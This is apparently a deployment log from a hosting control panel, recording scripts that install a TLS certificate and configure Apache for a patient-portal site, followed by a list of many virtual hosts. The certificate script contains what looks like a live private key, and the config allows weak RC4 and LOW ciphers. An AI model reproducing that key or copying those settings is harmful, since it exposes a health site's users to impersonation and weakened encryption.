AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-03 06:02:18: Establishing a connection
2025-11-03 06:02:19: Establishing a connection
2025-11-03 06:02:19:
PUT: /tmp/pkp835882
#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-03 06:02:19:
chmod 755 /tmp/pkp835882; /tmp/pkp835882; rm /tmp/pkp835882
2025-11-03 06:02:19:
0
2025-11-03 06:02:49: Establishing a connection
2025-11-03 06:02:49:
PUT: /tmp/pkp986864
#!/bin/bash
temp_file=$(mktemp)
TARGET=01745ae0ff7ef97623b09d98f99c6ad6.crt
cat > $temp_file <<'endmsg'
73:3e:01:9a:9f:07:df:9f:f6:3f:a4:ed:b6:64:ca:cb
-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBs+wqtgmKVX0k81flKUudxFFMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTAzMDUwNDE2WhcNMjYwMjAxMDUwNDE1WjAnMSUwIwYDVQQD
ExxhdGhlbmFoZWFsdGgucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAyieJd3MlWlj2QxHZDZ1/xz95gvJ9uosu5reyrHl+CmJ+
olPbLtAoTyQ4AANcpszuiewJzFzK4TAj/M8L+5AcfVlifaRvAZduY4P5McFaUr/W
rj3xgpQk1giwJ9qWJetHwL73S5zFo9TCguLZLd6MCmBrN5UInEaqdpJVTKvtq2zN
a4uqgvyf1ei3omrH39+NbSwojEFEiLlTOPT4er/ae7ndavNKy+VeDRurZns6idB2
5pDyB8CBMVnpovaR7EHkSbf77qQG0U+g5XUtnmqMrPfxmHTu9AZUzoiIt0Se4GQJ
87KrD1qET2s+sBBf/v5AppK5dU3eyogeEFy9+gqIAwIDAQABo4ICLDCCAigwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBT3I/QW+MVHmfWksbZVBeS8xfk+CTAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHGF0aGVu
YWhlYWx0aC5wYXRpZW50YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy83MC5jcmwwggEE
BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgBkEcRspBLsp4kcogIuALyrTygH1B41J6vq
/tUDyX3N8AAAAZpIT5cuAAAEAwBHMEUCIFzpUhixoGFxM28scR6zQ6LKtkekn1Dk
1jNXtQtuHhSjAiEAlIpJURsDt1Zx0BUEofW964qFpZagu0wL66+2XfTjLE0AdgAO
V5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZpIT58VAAAEAwBHMEUC
ICOeYEx9x1RdAHdzs550mll4w1OnOCTELendNqf8XoDIAiEA2A8gospobPYKPKWX
/OBOIwIZPqyM2t5RNX1chmKAP0AwDQYJKoZIhvcNAQELBQADggEBAHMcsG7EHuLZ
2aeSeEf+Gu/3OSTgqdjw1tx3G1mcD/zdWN4rQ4RYP4NhJJPiry/Hz/Uu6mGrFkt5
nCMQ5e/NkSJIkM534ECHn6Td7GXpnxWRCSJQuqeDpsS8Bl9MeBLf6Sk5YaZjzFHk
dilBhxHwQHh37cnPhX6tIfm7PYrKVq/goY+mUlkUcJXCXvfeooRZfx9QFDkAc3pg
WnhvhIM5qReaDYXGI5f0eDht//Z6ElPeX03X1A+pZNc2yj1tfBY1QB8SArAlfliP
v76Jytp5K4JHunhNW78qIpnjBUo5c7CWZIaqtabXwvWGJnyg4L4pPRvyKYLeNgFX
ciCKVae5TFg=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDKJ4l3cyVaWPZD
EdkNnX/HP3mC8n26iy7mt7KseX4KYn6iU9su0ChPJDgAA1ymzO6J7AnMXMrhMCP8
zwv7kBx9WWJ9pG8Bl25jg/kxwVpSv9auPfGClCTWCLAn2pYl60fAvvdLnMWj1MKC
4tkt3owKYGs3lQicRqp2klVMq+2rbM1ri6qC/J/V6Leiasff341tLCiMQUSIuVM4
9Ph6v9p7ud1q80rL5V4NG6tmezqJ0HbmkPIHwIExWemi9pHsQeRJt/vupAbRT6Dl
dS2eaoys9/GYdO70BlTOiIi3RJ7gZAnzsqsPWoRPaz6wEF/+/kCmkrl1Td7KiB4Q
XL36CogDAgMBAAECggEBALwLqSkvOEjhxjo/iPvMTYdnuT2hGmmDfR5rNM6RuTgp
xQh1HsdeJJDx7RG+DtqueRpdMgQjMSnmYSOS6d+Zf5bupdqgMg518d6qbgzlgoLF
JwswXc8MxXM/47U+9TrSsQ1P1rREYejzSfj80e+EPBqO9E1g2gCdD4Z6utQ2fkBd
ryYSjZ8Kg8HATcRPpphVjJPQHMDM9dCP1B9xWjknCjjblqleP9N1q07CtM2oydMz
C9sWGClN0rPUWJrx/AS4ANxyT3Vex3iWBKyKxRM7z9Voose7PSzyhoDclTukDGbz
n7RhFmy5P+QzVHaGL+kQ4zQRqjSBGinx71s6oZRYkPkCgYEA6KEGKPhbkoXU+/Ec
b9+CknF5B4TWCiY6bgv2O4F4ter6TAXU+n2qZnaLXVQCgTRdvdbSSLv+MVNNYB3R
DH6IevKODHurzMBHeVZXijtn85oH+LB+GBMGtuhcxcWmQQ4YWavnGl41/HVVPnJt
8r8h3le2AX8a2ZhF6tlBm3dEac8CgYEA3na9LD1By/ERgWEEug3tHdCKe19WAJvo
2jxLktch7nmemfykF9oSghc++sUNJ0mYGbC4QI9wTwMesnuVFVSUNkEmiMp6KUfQ
Po9u3LG0dSpEPPus7a4eAltIssE0Pg3TCnWwmj7/4qE6F0MC0bL3xlOPzKjBTjV0
LbFJt9Us740CgYEAn3J/PmW8nlmM+oLw8t1IKggM5NJvwtUhB3y7cV301vwQQztc
F7U6rrBiJb4HWXgDKLOtvpzcRgLK7i6BswanlV3bb0L1JopEcy5zIhRF0/qnrBWM
2ANyfrwVmpk2szBuEEh7Rt98MWZa30qfgdrv4+5Kmgv841gz1BzFk0HUapECgYAH
ngE0NpS+Ku7ygyPqSvfHgZB8UPNc6fm7Hz1nNb6Pr9Jia2gi+PCRS8J4S677nWV7
27UzYLXzvqOacOjV5iN9CBYNsQEl0LOssLSXEe6f5GaZv/RX3xJf+kgu9raXOVn0
jbsSTP3uAJ9AlKbQD1S0kb/mvhCAYQwtVFi11rLHMQKBgQCCOlKThMW1TDBpsoQn
HheIL8+OFBeg9LrlLeZe0wrizo0//jmjRLj+FMSKyX0a8OdTrhJ/KWeIFDlLRWC1
CpHQw8/PS9m/Kp8+WdIqNCmp2DYo7XyEeBX5ZEZ4C81dsAwZ4P/gQldfhTyujP5M
QnN4IrvAzV9HV1vQDRhN3uzR0A==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-03 06:02:49:
chmod 755 /tmp/pkp986864; /tmp/pkp986864; rm /tmp/pkp986864
2025-11-03 06:02:49:
dir=/etc/ssl/certs
2025-11-03 06:02:49:
PUT: /tmp/pkp593069
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-03 06:02:49:
chmod 755 /tmp/pkp593069; /tmp/pkp593069; rm /tmp/pkp593069
2025-11-03 06:02:49:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf 52
<VirtualHost *:80>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
2025-11-03 06:02:49:
PUT: /tmp/pkp568173
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_athenahealth_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.htm index.php index.py
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName athenahealth.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01745ae0ff7ef97623b09d98f99c6ad6.crt
SetEnv SIMPLESAMLPHP_CONFIG_DIR /var/simplesamlphp/config
Alias /simplesaml /var/simplesamlphp/www
<Directory /var/simplesamlphp/www>
Require all granted
</Directory>
DocumentRoot /var/www/patientapps_portal/public
<Directory /var/www/patientapps_portal/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/athenahealth_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/athenahealth_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_athenahealth_net.conf= 1'
fi
2025-11-03 06:02:49:
chmod 755 /tmp/pkp568173; /tmp/pkp568173; rm /tmp/pkp568173
2025-11-03 06:02:49:
2025-11-03 06:02:49:
PUT: /tmp/pkp842355
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-03 06:02:49:
chmod 755 /tmp/pkp842355; /tmp/pkp842355; rm /tmp/pkp842355
2025-11-03 06:02:49:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-03 06:02:49: Establishing a connection
2025-11-03 06:02:50:
PUT: /tmp/pkp740626
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-03 06:02:50:
chmod 755 /tmp/pkp740626; /tmp/pkp740626; rm /tmp/pkp740626
2025-11-03 06:02:50:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
